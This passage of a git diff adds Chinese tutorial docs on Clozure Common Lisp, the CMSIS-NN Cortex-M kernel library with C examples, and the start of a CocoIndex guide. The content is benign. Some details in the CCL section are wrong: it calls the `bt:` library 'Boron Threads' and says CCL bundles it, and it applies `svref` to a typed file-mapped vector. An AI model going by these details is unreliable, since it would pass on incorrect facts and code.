+
+为什么叫"苹果系"？因为它和 Apple 的渊源极深。MCL 是 Apple 在 1980 年代末为 Mac 写的 Lisp 系统，后来在 Apple 内部被用来开发了一些早期软件。分支出来后，Clozure Associates 公司继续开发它，并把它打造成了一套运行在 macOS、Linux、FreeBSD 和 Windows 上的高性能 Lisp 实现。
+
+## 二、日常类比
+
+把 Clozure CL 想象成一栋大楼：
+
+- **Lisp Kernel（Lisp 内核）** 是大楼的钢筋混凝土框架和电梯——最底层的支撑结构，负责内存分配、垃圾回收、异常处理这些"体力活"。它是用 C 语言和汇编写的。
+- **Heap Image（堆镜像）** 是大楼里已经装修好、摆好家具的楼层——包含了所有已编译好的 Lisp 代码、库函数、运行环境。它像一个压缩过的存档文件，启动时直接被"加载到内存里"。
+
+启动 Clozure CL 的过程就是：先启动内核（框架和电梯），再把堆镜像映射进内存，一切就绪，你就能看到 `?` 提示符，开始写代码了。
+
+## 三、核心特点
+
+1. **极快的编译速度** — CCL 的编译器几乎在"实时"工作，你写完代码，它立刻变成机器码
+2. **原生多线程** — 每个线程都是操作系统级别的，能自动分配到多核 CPU 上运行
+3. **精准的垃圾回收** — 分代回收器（generational GC），新创建的对象放在"新生代"，回收速度快到毫秒级
+4. **C 语言互操作** — 强大的 FFI（Foreign Function Interface），可以从 Lisp 里直接调用 C 函数
+5. **macOS Cocoa 集成** — 在 Mac 上能用 Lisp 直接调用 Objective-C 和 Cocoa 框架
+6. **自举编译** — CCL 本身就是用 Lisp 写的，可以用一个已有的 CCL 来编译自己
+
+## 四、安装和运行
+
+在 macOS 上，你下载解压后会有一个 `ccl` 目录，里面有可执行文件 `dx86cl64`（64 位 Intel Mac）或 `dx64cl` 等。
+
+```bash
+$ ccl
+```
+
+或者直接用平台特定的可执行文件：
+
+```bash
+$ ./dx86cl64
+```
+
+启动后会看到类似这样的提示符：
+
+```
+?
+```
+
+这就是 REPL（读取-求值-输出循环），你可以在这里直接输入 Lisp 表达式，按回车就会得到结果。
+
+## 五、Lisp 基础语法速览
+
+Common Lisp 的所有代码都写成"表达式"，格式是：
+
+```
+(函数名 参数1 参数2 参数3)
+```
+
+整个程序就是"套括号"。别怕，我们下面用代码来感受。
+
+## 六、代码示例
+
+### 示例 1：定义和使用函数
+
+Lisp 里定义函数用 `defun`，它的格式是：
+
+```lisp
+(defun 函数名 (参数列表)
+  "文档字符串（可选的描述）"
+  函数体...)
+```
+
+来看一个实际的例子：
+
+```lisp
+;; 定义一个计算阶乘的递归函数
+(defun factorial (n)
+  "计算 n 的阶乘，即 1*2*3*...*n"
+  (if (<= n 1)
+      1
+      (* n (factorial (1- n)))))
+
+;; 调用函数
+(factorial 5)
+;; => 120
+
+(factorial 10)
+;; => 3628800
+```
+
+这里 `(factorial 5)` 的执行过程是：
+
+```
+(factorial 5)
+  => (* 5 (factorial 4))
+    => (* 5 (* 4 (factorial 3)))
+      => (* 5 (* 4 (* 3 (factorial 2))))
+        => (* 5 (* 4 (* 3 (* 2 (factorial 1)))))
+          => (* 5 (* 4 (* 3 (* 2 1))))
+            => 120
+```
+
+### 示例 2：多线程
+
+CCL 最亮眼的特性之一就是原生线程支持。下面这段代码展示了如何创建和使用线程：
+
+```lisp
+;; 创建一个线程，让它执行一个简单任务
+(let ((thread (bt:make-thread
+               (lambda ()
+                 (dotimes (i 5)
+                   (format t "线程说: 你好 ~A~%" i)
+                   (sleep 1))
+                 "任务完成！"))))
+
+  ;; 主线程继续做别的事
+  (format t "主线程已启动工作线程: ~A~%" thread)
+
+  ;; 等待线程结束并获取结果
+  (bt:join-thread thread))
+;; => "任务完成！"
+```
+
+`bt:make-thread` 来自 Boron Threads 库（CCL 自带的多线程库），`bt:join-thread` 用来等线程跑完。
+
+### 示例 3：调用 C 语言函数（FFI）
+
+CCL 的 FFI 让你可以从 Lisp 直接调用系统库中的 C 函数：
+
+```lisp
+;; 调用 C 语言的 strlen 函数
+(require 'cffi)
+
+;; 用 CFFI 声明并调用 C 函数
+(cffi:defcfun ("strlen" c-strlen) :uint
+  (s :string))
+
+(c-strlen "Hello, Clozure CL!")
+;; => 18
+
+;; 调用 C 的数学库函数 sqrt
+(cffi:defcfun ("sqrt" c-sqrt) :double-float
+  (x :double-float))
+
+(c-sqrt 2.0)
+;; => 1.4142135623730951
+```
+
+### 示例 4：使用 CLOS（面向对象系统）
+
+Common Lisp 有一个叫 CLOS 的面向对象系统，比 Java 的类系统强大得多：
+
+```lisp
+;; 定义一个类
+(defclass person ()
+  ((name :initarg :name :accessor person-name)
+   (age :initarg :age :accessor person-age)))
+
+;; 创建实例
+(make-instance 'person :name "小明" :age 25)
+
+;; 定义一个通用的方法
+(defgeneric greet (person)
+  (:documentation "打招呼"))
+
+(defmethod greet ((p person))
+  (format t "你好，我是 ~A，今年 ~A 岁~%"
+          (person-name p)
+          (person-age p)))
+
+;; 调用
+(greet (make-instance 'person :name "小红" :age 22))
+;; => 你好，我是小红，今年 22 岁
+```
+
+## 七、CCL 独有的亮点
+
+### 1. 应用保存（save-application）
+
+CCL 允许你把当前整个 Lisp 环境（所有代码、数据、状态）打包成一个独立的可执行文件：
+
+```lisp
+(ccl:save-application "my-app"
+                      :server t
+                      :prepend-kernel t)
+```
+
+生成的 `my-app` 就是一个独立的程序，不需要额外安装 Lisp 就能运行。这在构建 Lisp 服务器应用时非常有用。
+
+### 2. 代码覆盖（Code Coverage）
+
+CCL 内置了代码覆盖检测功能，可以可视化地看到哪些代码被执行了、哪些没有：
+
+```lisp
+(ccl:start-code-coverage)
+;; 运行你的代码...
+(ccl:stop-code-coverage)
+(ccl:display-code-coverage)
+```
+
+### 3. 内存映射文件
+
+CCL 支持将文件直接映射到 Lisp 向量，无需先将文件内容读入内存，适合处理大文件：
+
+```lisp
+;; 将文件映射为只读向量
+(let* ((vec (map-file-to-ivector "/path/to/bigfile" :int)))
+  (svref vec 0))  ;; 直接读取文件内容，零拷贝
+```
+
+## 八、学习建议
+
+1. **从 REPL 开始** — 不要急着写文件，直接在 `?` 提示符下尝试每一个概念
+2. **多练习"套括号"** — 初期括号数错了是常态，Lisp 的编辑器（如 CCL 自带的 Cocoa IDE 或 Emacs + SLIME）能帮你自动匹配
+3. **理解函数式思维** — Lisp 鼓励用递归而非循环，用不可变数据而非修改状态
+4. **利用 CCL 的 FFI** — 你可以用 Lisp 快速写脚本，同时调用现成的 C 库，这是 Lisp 的巨大优势
+
+## 九、社区和资源
+
+- 源码仓库：https://github.com/Clozure/ccl（GitHub Stars 900+）
+- 官网：http://ccl.clozure.com/
+- 邮件列表：ccl-devel@clozure.com
+- IRC 频道：#ccl on libera.chat
+- 最新版本：1.13（2024 年 8 月发布）
+- 许可证：Apache License 2.0
diff --git a/src/content/docs/projects/cmsis-nn.md b/src/content/docs/projects/cmsis-nn.md
new file mode 100644
index 000000000..477418fdf
--- /dev/null
+++ b/src/content/docs/projects/cmsis-nn.md
@@ -0,0 +1,376 @@
+---
+title: CMSIS-NN — Cortex-M 上的「神经网络专用工具箱」
+来源: 'https://github.com/ARM-software/CMSIS-NN'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+难度: '中级'
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**CMSIS-NN** 是 Arm 维护的开源 C 语言算子库，专门为 **Cortex-M 微控制器**上的神经网络推理做极致优化。源码托管在 [ARM-software/CMSIS-NN](https://github.com/ARM-software/CMSIS-NN)，当前以独立 CMSIS-Pack 发布，每年大约两次正式版本（如 v6.0.0、v7.0.0）。
+
+日常类比：**如果把 [[tflite-micro]] 比作「放映机」——负责按 FlatBuffer 剧本调度整场推理——那 CMSIS-NN 就是放映机里换上的「高速镜头组」**。放映机仍然决定放哪部电影、何时切镜头；镜头组负责把每一帧画面算得更快、更省内存。你不会单独拿镜头组去拍电影，但换上好镜头，同一台放映机在 STM32 上就能从「卡成幻灯片」变成「勉强实时」。
+
+更接地气的比喻：神经网络推理是一桌满汉全席，有卷积、全连接、池化、Softmax 等十几道菜。通用 C 循环像一把菜刀从头切到尾；CMSIS-NN 则是**按 Cortex-M0 / M4 DSP / M55 Helium 三套厨房设备**，为每道菜准备了专用模具和流水线——编译器根据 `-mcpu=cortex-m55` 等参数自动选最快那套，你通常不用手写 `#ifdef`。
+
+## 解决什么问题
+
+| 痛点 | 朴素 C 实现 | CMSIS-NN 的回应 |
+| --- | --- | --- |
+| MCU 算力弱 | 浮点卷积在 M4 上动辄数百毫秒 | int8/int4 量化内核 + SIMD / Helium 向量化 |
+| RAM 极小 | 中间缓冲随意 `malloc` 会爆 | 提供 `*_get_buffer_size()`，推理前可精确预算 |
+| 与 TFLM 对不齐 | 自写算子结果和训练端不一致 | 遵循 TFLM 量化规范，**与参考内核 bit-exact** |
+| 硬件碎片化 | M0 无 DSP、M4 有 DSP、M55 有 MVE | 每算子通常有 Pure C / DSP / MVE 三档实现 |
+| Flash 紧张 | 整库链接体积大 | 按算子拆分源文件，只编译模型用到的层 |
+
+典型落地：关键词唤醒、人数检测、异常振动分类、低功耗视觉——凡是用 [[tflite-micro]] 或 Ethos-U 生态在 Cortex-M 上跑 int8 模型的场景，CMSIS-NN 几乎都是默认或推荐后端。
+
+## 核心概念
+
+### 1. 算子库，不是完整运行时
+
+CMSIS-NN **不负责**解析 `.tflite`、管理 `tensor_arena`、注册 OpResolver。它只提供一层层的数学内核，例如：
+
+- `arm_convolve_wrapper_s8` — 卷积
+- `arm_fully_connected_s8` — 全连接
+- `arm_max_pool_s8` / `arm_avgpool_s8` — 池化
+- `arm_softmax_s8` — Softmax
+- `arm_lstm_unidirectional_s8` — LSTM
+
+上层框架（TFLM、TVM、自研解释器）在调度到对应算子时，调用这些函数完成实际计算。类比：CMSIS-NN 提供「标准化螺丝规格」，整车装配仍由 TFLM 完成。
+
+### 2. 三代命名：`_q7` → `_s8` → `_s4`
+
+历史上 CMSIS-NN 有两代 API：
+
+| 后缀 | 含义 | 现状 |
+| --- | --- | --- |
+| `_q7` / `_q15` | Arm 早期对称量化，类型别名 `q7_t` | **遗留 API**，不再新开发 |
+| `_s8` / `_s16` | 对齐 TensorFlow Lite for Microcontrollers 的 int8/int16 规范 | **主流 API**，TFLM 默认路径 |
+| `_s4` | int4 权重 + int8 激活（打包存储） | 新芯片上进一步省 Flash |
+
+新手应只学 `_s8` 系列。v4.0 起已移除不符合 TFLM 量化规范的老算子；`q7_t` 等别名也改为标准 `int8_t`。
+
+### 3. 三档硬件实现（编译期自动选择）
+
+README 中的算子支持表按三列优化档划分：
+
+1. **Pure C** — Cortex-M0/M3 等无 SIMD 内核
+2. **DSP Extension** — Cortex-M4/M33 等，用 `ARM_MATH_DSP` 启用
+3. **MVE (Helium)** — Cortex-M55/M85 等，用 `ARM_MATH_MVEI` 启用
+
+编译 `armclang -mcpu=cortex-m4` 时，编译器定义 `ARM_MATH_DSP`，`arm_convolve_wrapper_s8` 内部会自动走 DSP 快路径。你不需要在业务代码里写 `#if defined(ARM_MATH_MVEI)`。
+
+### 4. 统一的参数结构体
+
+现代 API 把「层超参」「张量形状」「量化元数据」拆成几个 struct，避免几十个 positional 参数：
+
+| 结构体 | 典型字段 |
+| --- | --- |
+| `cmsis_nn_dims` | `n, h, w, c` —— NHWC 格式 |
+| `cmsis_nn_conv_params` | `stride`, `padding`, `dilation`, `input_offset`, `output_offset`, `activation` |
+| `cmsis_nn_per_channel_quant_params` | 每通道 `multiplier[]`, `shift[]` |
+| `cmsis_nn_context` | `buf` + `size` —— 部分算子需要的临时工作区 |
+
+卷积的 filter 维度约定为 **`[C_OUT, HK, WK, C_IN]`**，与 TFLM 一致。搞反 channel 顺序是嵌入式 CV 最常见的踩坑之一。
+
+### 5. Context 缓冲：先问大小，再分配
+
+不少卷积、深度可分离卷积在 DSP/MVE 路径上需要额外 scratch buffer。标准流程：
+
+```
+buf_size = arm_convolve_wrapper_s8_get_buffer_size(...)
+ctx.buf  = tensor_arena 里划出 buf_size 字节
+ctx.size = buf_size
+arm_convolve_wrapper_s8(&ctx, ...)
+```
+
+这与 TFLM 的 `tensor_arena` 哲学一致：**所有内存在推理前预算完毕**，运行中不调用 `malloc`。官方还提到调用方应在安全敏感场景下**清零**该缓冲。
+
+### 6. Wrapper 与 Fast 变体
+
+同一算子常有多个入口：
+
+- `arm_convolve_wrapper_s8` — 根据 kernel 尺寸、stride 等自动分发到最优子内核
+- `arm_convolve_1x1_s8_fast` — 针对 1×1 pointwise 的特化快路径
+- `arm_depthwise_conv_3x3_s8` — 3×3 深度卷积特化
+
+直接调 `wrapper` 最省心；做极致压测时可换 `fast` 变体，但需自己保证 shape 满足其约束。
+
+### 7. 与 TFLM 的关系
+
+启用 TFLM 的 CMSIS-NN 后端后，解释器在碰到 `Conv2D`、`FullyConnected` 等 op 时，会转而调用 CMSIS-NN 内核，而不是纯 C 参考实现。收益：
+
+- **速度**：同模型在 M4 上常见数倍加速；M55 上 Helium 路径更明显
+- **正确性**：输出与 TFLM 参考 bit-exact，方便和 PC 端 golden 对比
+- **体积**：只链接用到的 `.c` 文件
+
+若你手写推理循环（不用 TFLM），也可以直接链 CMSIS-NN，自行填充权重指针和量化参数——适合极简场景或教学。
+
+### 8. 构建与工具链要点
+
+官方推荐用 Ethos-U Core Platform 的 CMake toolchain：
+
+```bash
+mkdir build && cd build
+cmake .. \
+  -DCMAKE_TOOLCHAIN_FILE=<path>/arm-none-eabi-gcc.cmake \
+  -DTARGET_CPU=cortex-m55
+make
+```
+
+注意事项（来自 README）：
+
+- 默认 `-Ofast`；`-O0` 调试时在 Helium 芯片上需定义 `ARM_MATH_AUTOVECTORIZE`
+- **避免** `-fno-builtin` / `-ffreestanding`，否则 `memcpy`/`memset` 退化严重拖慢性能
+- Cortex-M7 上可定义 `OPTIONAL_RESTRICT_KEYWORD=__restrict` 帮助卷积优化
+- 测试过的编译器：Arm Compiler 6、Arm GNU Toolchain；IAR 未充分测试
+- v4.0 起**不再依赖 CMSIS-Core**，可单独拉取 CMSIS-NN 仓库构建
+
+### 9. Python 绑定（可选）
+
+仓库提供 `cmsis_nn` pybind11 模块，主要用于在 **Host 上查询 buffer 大小**（方便 TVM、CI 或模型分析工具），例如：
+
+```python
+import cmsis_nn
+
+backend = cmsis_nn.resolve_backend(cmsis_nn.CortexM.M55)
+buf_size = cmsis_nn.convolve_wrapper_buffer_size(
+    backend,
+    cmsis_nn.DataType.A8W8,
+    input_nhwc=[1, 8, 8, 16],
+    filter_nhwc=[8, 3, 3, 16],
+    output_nhwc=[1, 6, 6, 8],
+    padding_hw=[0, 0],
+    stride_hw=[1, 1],
+    dilation_hw=[1, 1],
+)
+```
+
+这不用于在 PC 上跑生产推理，而是帮你在烧录前算清「这层卷积要吃多少 scratch」。
+
+## 代码示例一：手写 int8 卷积（最小可运行骨架）
+
+下面示例展示**不经过 TFLM、直接调用** `arm_convolve_wrapper_s8` 的典型写法。数据指针通常来自 Flash 中的量化权重；此处用栈上数组演示流程。
+
+```c
+#include "arm_nnfunctions.h"
+#include "arm_nnsupportfunctions.h"
+#include <string.h>
+
+#define INPUT_H 8
+#define INPUT_W 8
+#define INPUT_C 16
+#define OUTPUT_C 8
+#define KERNEL 3
+#define OUTPUT_H 6
+#define OUTPUT_W 6
+
+void run_conv2d_s8_example(void) {
+    int8_t input[INPUT_H * INPUT_W * INPUT_C];
+    int8_t weights[OUTPUT_C * KERNEL * KERNEL * INPUT_C];
+    int32_t bias[OUTPUT_C];
+    int8_t output[OUTPUT_H * OUTPUT_W * OUTPUT_C];
+
+    /* 量化参数：实际项目从 TFLite 模型元数据导出 */
+    cmsis_nn_conv_params conv_params = {
+        .input_offset  = 0,
+        .output_offset = 0,
+        .stride        = {1, 1},
+        .padding       = {0, 0, 0, 0},
+        .dilation      = {1, 1},
+        .activation    = {.min = -128, .max = 127},
+    };
+
+    int32_t mult[OUTPUT_C] = {1073741824};
+    int32_t shift[OUTPUT_C] = {-8};
+    cmsis_nn_per_channel_quant_params quant_params = {
+        .multiplier = mult,
+        .shift      = shift,
+    };
+
+    cmsis_nn_dims input_dims  = {1, INPUT_H, INPUT_W, INPUT_C};
+    cmsis_nn_dims filter_dims = {OUTPUT_C, KERNEL, KERNEL, INPUT_C};
+    cmsis_nn_dims bias_dims   = {1, 1, 1, OUTPUT_C};
+    cmsis_nn_dims output_dims = {1, OUTPUT_H, OUTPUT_W, OUTPUT_C};
+
+    int32_t buf_size = arm_convolve_wrapper_s8_get_buffer_size(
+        &conv_params, &input_dims, &filter_dims, &output_dims);
+
+    /* 实际固件里 ctx.buf 应来自预分配的 tensor_arena */
+    int8_t scratch[512];
+    cmsis_nn_context ctx = {.buf = scratch, .size = sizeof(scratch)};
+
+    if (buf_size > (int32_t)sizeof(scratch)) {
+        /* 缓冲不足：需扩大 arena 或换更小的模型 */
+        return;
+    }
+    memset(scratch, 0, buf_size);
+
+    arm_cmsis_nn_status status = arm_convolve_wrapper_s8(
+        &ctx, &conv_params, &quant_params,
+        &input_dims, input,
+        &filter_dims, weights,
+        &bias_dims, bias,
+        &output_dims, output);
+
+    if (status != ARM_CMSIS_NN_SUCCESS) {
+        /* ARM_CMSIS_NN_ARG_ERROR：检查 offset 范围、dims 是否合法 */
+        return;
+    }
+}
+```
+
+要点回顾：
+
+1. 先 `get_buffer_size`，再分配 `cmsis_nn_context`
+2. `per_channel_quant_params` 的 multiplier/shift 数组长度必须等于 `C_OUT`
+3. `input_offset` 范围 `[-127, 128]`，`output_offset` 范围 `[-128, 127]`——越界会直接 `ARG_ERROR`
+
+## 代码示例二：int8 全连接层 + ReLU 裁剪
+
+全连接在语音/传感器小模型里极为常见（分类头、嵌入层）。`arm_fully_connected_s8` 接受与卷积类似的量化参数：
+
+```c
+#include "arm_nnfunctions.h"
+
+#define FC_IN  32
+#define FC_OUT 10
+
+void run_fully_connected_s8_example(void) {
+    int8_t  input[FC_IN];
+    int8_t  weights[FC_OUT * FC_IN];  /* 行主序：每行对应一个输出神经元 */
+    int32_t bias[FC_OUT];
+    int8_t  output[FC_OUT];
+
+    cmsis_nn_fc_params fc_params = {
+        .input_offset  = 0,
+        .filter_offset = 0,
+        .output_offset = 0,
+        .activation    = {.min = 0, .max = 127},  /* ReLU：负值截断为 0 */
+    };
+
+    cmsis_nn_per_tensor_quant_params quant_params = {
+        .multiplier = 1073741824,
+        .shift      = -8,
+    };
+
+    cmsis_nn_dims input_dims  = {1, 1, 1, FC_IN};
+    cmsis_nn_dims filter_dims = {FC_OUT, 1, 1, FC_IN};
+    cmsis_nn_dims bias_dims   = {1, 1, 1, FC_OUT};
+    cmsis_nn_dims output_dims = {1, 1, 1, FC_OUT};
+
+    cmsis_nn_context ctx = {0};  /* 多数 FC 路径不需要 scratch */
+
+    arm_cmsis_nn_status status = arm_fully_connected_s8(
+        &ctx, &fc_params, &quant_params,
+        &input_dims, input,
+        &filter_dims, weights,
+        &bias_dims, bias,
+        &output_dims, output);
+
+    /* output[i] 已是 int8 量化 logits，可再接 arm_softmax_s8 */
+}
+```
+
+与卷积的区别：
+
+- 全连接常用 **per-tensor** 量化（单个 multiplier/shift），卷积多为 **per-channel**
+- `activation.min = 0` 等价于 fused ReLU，少一次内存往返
+- 分类任务末尾通常再接 `arm_softmax_s8` 把 logits 变成伪概率
+
+## 在 TFLM 中启用 CMSIS-NN（集成视角）
+
+业务项目更常见的路径是**不改算子调用**，只在构建 TFLM 时打开优化后端。概念步骤：
+
+```
+1. 训练并量化模型 → 得到 int8 .tflite
+2. 用 TFLM 代码生成器或 Makefile 链入 CMSIS-NN 源文件
+3. 编译选项指定 -mcpu=cortex-m4 / cortex-m55 等
+4. MicroInterpreter::Invoke() 内部自动走 CMSIS 快路径
+```
+
+与 [[esp-dl]]、[[tflite-micro]] 文档对照阅读效果更好：三者都服务「MCU 上跑神经网络」，但 CMSIS-NN 是 **跨厂商的 Cortex-M 算子层**，不绑定 Espressif 或 Google 的单家运行时。
+
+## 算子覆盖速查（v6+ 主干）
+
+| 类别 | 代表函数 | int8 | int16 | int4 权重 |
+| --- | --- | --- | --- | --- |
+| Conv2D | `arm_convolve_wrapper_s8` | ✓ | ✓ | ✓ |
+| DepthwiseConv | `arm_depthwise_conv_wrapper_s8` | ✓ | ✓ | ✓ |
+| FullyConnected | `arm_fully_connected_s8` | ✓ | ✓ | ✓ |
+| Pooling | `arm_max_pool_s8`, `arm_avgpool_s8` | ✓ | ✓ | — |
+| Elementwise | `arm_elementwise_add_s8`, `arm_elementwise_mul_s8` | ✓ | ✓ | — |
+| Softmax | `arm_softmax_s8` | ✓ | ✓ | — |
+| LSTM | `arm_lstm_unidirectional_s8` | ✓ | ✓ | — |
+| 其他 | Pad, Transpose, Batch Matmul, SVDF | 部分 | 部分 | 部分 |
+
+具体某块芯片是否吃到 MVE 优化，以目标 `-mcpu` + 编译器实测为准；README 里的表格是「上游实现了几套内核」，不是「你的板子一定跑满」。
+
+## 学习路径建议
+
+### 第 0 步：先懂量化，再碰算子
+
+建议先读 TFLM 的 [int8 量化规范](https://www.tensorflow.org/lite/performance/quantization_spec)。不理解 `zero_point`、`scale`、`per-channel multiplier`，看 CMSIS-NN 源码会像在读天书。
+
+### 第 1 步：用 TFLM 示例 + CMSIS 后端跑通
+
+仓库 `Examples/` 下有图像识别等端到端样例（TFLM 作推理引擎、CMSIS-NN 作加速库）。先让 **`micro_speech` 或 `person_detection`** 在你的板子上跑起来，再考虑手写算子调用。
+
+### 第 2 步：读一个 wrapper 源文件
+
+推荐从 `Source/ConvolutionFunctions/arm_convolve_wrapper_s8.c` 入手，观察它如何根据 kernel 尺寸分发到 `arm_convolve_1x1_s8_fast`、`arm_convolve_s8` 等子函数——这是「编译期 + 运行期双重分发」的教科书级代码。
+
+### 第 3 步：用 Python 绑定做 buffer 预算
+
+在 Host 上用 `cmsis_nn.convolve_wrapper_buffer_size` 扫描模型各层，把结果写进 `tensor_arena` 规划表，避免板上第一次 `Invoke()` 才暴雷。
+
+### 第 4 步：读论文加深直觉
+
+Arm 论文 [CMSIS-NN: Efficient Neural Network Kernels for Arm Cortex-M CPUs](https://arxiv.org/abs/1801.06601) 解释了 q7 时代的数据重排与 SIMD 技巧；虽部分 API 已过时，但**「用数据布局换访存」**的思路至今适用。
+
+## 常见坑
+
+| 现象 | 可能原因 | 排查方向 |
+| --- | --- | --- |
+| `ARM_CMSIS_NN_ARG_ERROR` | offset 越界或 dims 不一致 | 对照 TFLM 导出的量化元数据 |
+| 结果与 PC 参考不一致 | 混用 legacy `_q7` 与 `_s8` API | 统一走 TFLM 规范与 `_s8` 路径 |
+| 性能不如预期 | `-O0` 调试构建、`-fno-builtin` | 用 `-Ofast` 或 Release 配置重测 |
+| M55 仍慢 | 未启用 MVE 编译标志 | 确认 `ARM_MATH_MVEI` 与 `-mcpu=cortex-m55` |
+| 链接体积暴涨 | 把整个 Source/ 全编进去 | 只添加模型用到的算子 `.c` 文件 |
+| scratch 溢出 | 未调用 `get_buffer_size` | 每层用 API 查询，纳入 arena 规划 |
+
+## 与相邻项目怎么选
+
+| 组件 | 角色 | 何时优先 |
+| --- | --- | --- |
+| **CMSIS-NN** | Cortex-M 通用 int8/int4 算子 | 任意 Arm MCU + TFLM/TVM/自研 |
+| **[[tflite-micro]]** | 完整微控制器推理运行时 | 需要 FlatBuffer 解释器与生态 |
+| **Ethos-U NPU** | 硬件加速核 | 芯片带 NPU 驱动时叠加使用 |
+| **[[esp-dl]]** | Espressif 专用加速库 | 仅 ESP32 系列且愿绑 Espressif 栈 |
+
+很多量产固件的组合是：**TFLM + CMSIS-NN**；有 Ethos-U 时再由驱动把部分算子 offload 到 NPU。
+
+## 小结
+
+CMSIS-NN 不是「又一个机器学习框架」，而是嵌入在推理运行时下面的 **Cortex-M 专用数学加速层**。它用 int8/int4 量化、三档 SIMD 实现、与 TFLM bit-exact 的对齐，把「在几 KB RAM 的 MCU 上跑神经网络」从论文里的口号变成可维护的工程实践。
+
+零基础学习时，抓住三条主线即可：
+
+1. **它是算子库，不是完整推理引擎** —— 上层仍需要 TFLM 或等价调度器
+2. **现代 API 看 `_s8` 后缀和那几个 struct** —— `dims`、`conv_params`、`context`
+3. **性能来自「对的 CPU 标志 + 对的缓冲预算」** —— 编译选项和 `get_buffer_size` 与算法本身同样重要
+
+把本文的两个 C 示例读懂，再跑通一个 TFLM 官方例程，你就已经跨过「听说过 CMSIS-NN」和「能在自己板子上量化加速」之间的那道坎了。
+
+## 参考链接
+
+- 源码仓库：[ARM-software/CMSIS-NN](https://github.com/ARM-software/CMSIS-NN)
+- 官方文档：[CMSIS-NN Documentation](https://arm-software.github.io/CMSIS-NN/latest/index.html)
+- 卷积 API：[Convolution Functions](https://arm-software.github.io/CMSIS-NN/latest/group__NNConv.html)
+- 发行说明：[Releases](https://github.com/ARM-software/CMSIS-NN/releases)
+- 论文：[arXiv:1801.06601](https://arxiv.org/abs/1801.06601)
+- 关联笔记：[[tflite-micro]]、[[esp-dl]]
diff --git a/src/content/docs/projects/cocoindex.md b/src/content/docs/projects/cocoindex.md
new file mode 100644
index 000000000..1a9e1a9f8
--- /dev/null
+++ b/src/content/docs/projects/cocoindex.md
@@ -0,0 +1,287 @@
+---
+title: CocoIndex — AI 增量数据转换与索引框架
+来源: https://github.com/cocoindex-io/cocoindex
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**CocoIndex** 是一个面向 AI 工作负载的**增量数据转换框架**：你用 Python 声明「源数据 → 变换 → 目标索引」的期望状态，引擎在 Rust 核心上自动做变更检测、最小重算与目标同步。典型产物包括向量索引、知识图谱、特征表，以及供 Agent 长期引用的结构化上下文。
+
+日常类比：
+
+- **手写 ETL 脚本**：像每次仓库改动都重新复印整栋楼的所有文件柜——改了一个 `main.py`，却把全库 Markdown 再切分、再 embedding 一遍。
+- **CocoIndex**：像图书馆的**编目系统**——新书入库只登记新书，某本书换版只更新那一册的卡片；删书则自动从目录里摘掉对应条目。你只管写「一本书该怎么变成卡片」，不用写「今天比昨天多了哪几本」。
+
+再换一个类比：它很像 Excel 里的公式——你定义 `C2 = A2 & B2`，改 A2 时 Excel 只重算受影响的格子。CocoIndex 把这套「声明式变换 + 自动增量重算」扩展到嵌套数据（文档 → 块 → 向量）、长生命周期管道，以及 Postgres / 向量库等目标存储。
+
+核心引擎用 **Rust** 编写，通过 **PyO3** 暴露 Python API；Apache 2.0 开源，GitHub 上 star 数已达数千级，定位是「long-horizon agent」背后的数据层，而不是又一个聊天 UI。
+
+## 为什么重要
+
+如果你在做 RAG、代码库索引、会议记录入库、或任何「源数据会变、下游索引必须跟得上」的 Agent 场景，CocoIndex 解决的是常被低估的一层：
+
+1. **增量是默认能力，不是后期补丁**——组件级、函数级、目标级三层变更检测；未改动的文件可 `memo` 跳过，embedding 等昂贵步骤可复用缓存。
+2. **数据血缘（lineage）可观测**——采用 Dataflow 式编程：每个字段由输入字段纯函数导出，无隐藏可变状态，便于调试「这条检索结果从哪来」。
+3. **写批处理心智，跑增量执行**——不必手写 DAG、调度器或 delta 逻辑；`cocoindex update` 在 batch 与 live 模式间切换。
+4. **与 Python AI 生态对齐**——SentenceTransformer、Docling、自定义 UDF 都能挂在 `transform` / `@coco.fn` 上；目标端支持 Postgres（pgvector）、以及可扩展的 connector 接口。
+
+它和 [[dify]]、[[llamaindex]] 的边界也清晰：Dify 偏「低代码搭应用」；LlamaIndex 偏「应用层 RAG 编排」；CocoIndex 更靠近 **数据工程 + 索引管道**——把「永远新鲜的上下文」做成基础设施。
+
+## 核心概念
+
+### 1. 索引流（Indexing Flow）
+
+一条索引流 = **数据源 import → 变换 transform →（可选 collect）→ 目标 export**。流内所有数据的 schema 在定义时就确定，支持基础类型、struct、以及带 key 的 KTable / 有序 LTable。
+
+常见操作（action）：
+
+| 动作 | 作用 |
+|------|------|
+| `import` / `add_source` | 从 LocalFile、数据库、队列等拉取源数据 |
+| `transform` | 对字段应用内置或自定义函数（切分、embedding、LLM 抽取） |
+| `for each` / `.row()` | 对集合中每一行重复同一套变换 |
+| `collect` | 把多行结果汇总到 collector |
+| `export` | 写入 Postgres 向量表、图库、文件系统等 target |
+
+### 2. 持久状态驱动（Persistent-State-Driven）
+
+你声明的是 **target 应该长什么样**，而不是「如何一步步 patch」。引擎维护内部状态（默认用 **PostgreSQL** 或本地 `COCOINDEX_DB`），记录每个处理单元上次算过什么；源数据或代码变更时，只 reconcile 差异。
+
+### 3. 处理组件（Processing Component）
+
+在较新的 App API 里，**每个独立源项**（例如一个 PDF、一个仓库文件）可挂载为一个 processing component，拥有自己的 component path。该项删除时，其声明的 target state（如对应的 `.md` 文件）会自动清理——适合「一文件一输出」的同步语义。
+
+### 4. 增量处理的三层粒度
+
+文档与官方 overview 一致，可概括为：
+
+- **组件/行级**：只有变更的源文件或记录进入重处理。
+- **函数级**：`@coco.fn(memo=True)` 等对昂贵纯函数做 memoization。
+- **目标级**：对向量表等只做必要的 insert / update / delete。
+
+### 5. 查询（Query）
+
+索引完成后，检索可以走任意栈：直接 SQL + pgvector、Qdrant SDK，或注册 `@flow.query_handler` 供 CocoInsight 等工具发现。推荐用 `@cocoindex.transform_flow()` **共享**索引与查询阶段的 embedding 逻辑，避免「建索引用一种模型、查询又手写另一套」的漂移。
+
+## 安装与环境
+
+```bash
+pip install -U cocoindex
+
+# 向量索引示例通常需要 Postgres + pgvector
+# 或 quickstart 可用本地 SQLite 状态库：
+echo "COCOINDEX_DB=./cocoindex.db" > .env
+```
+
+Postgres 场景设置：
+
+```bash
+export COCOINDEX_DATABASE_URL="postgresql://user:pass@localhost:5432/cocoindex"
+```
+
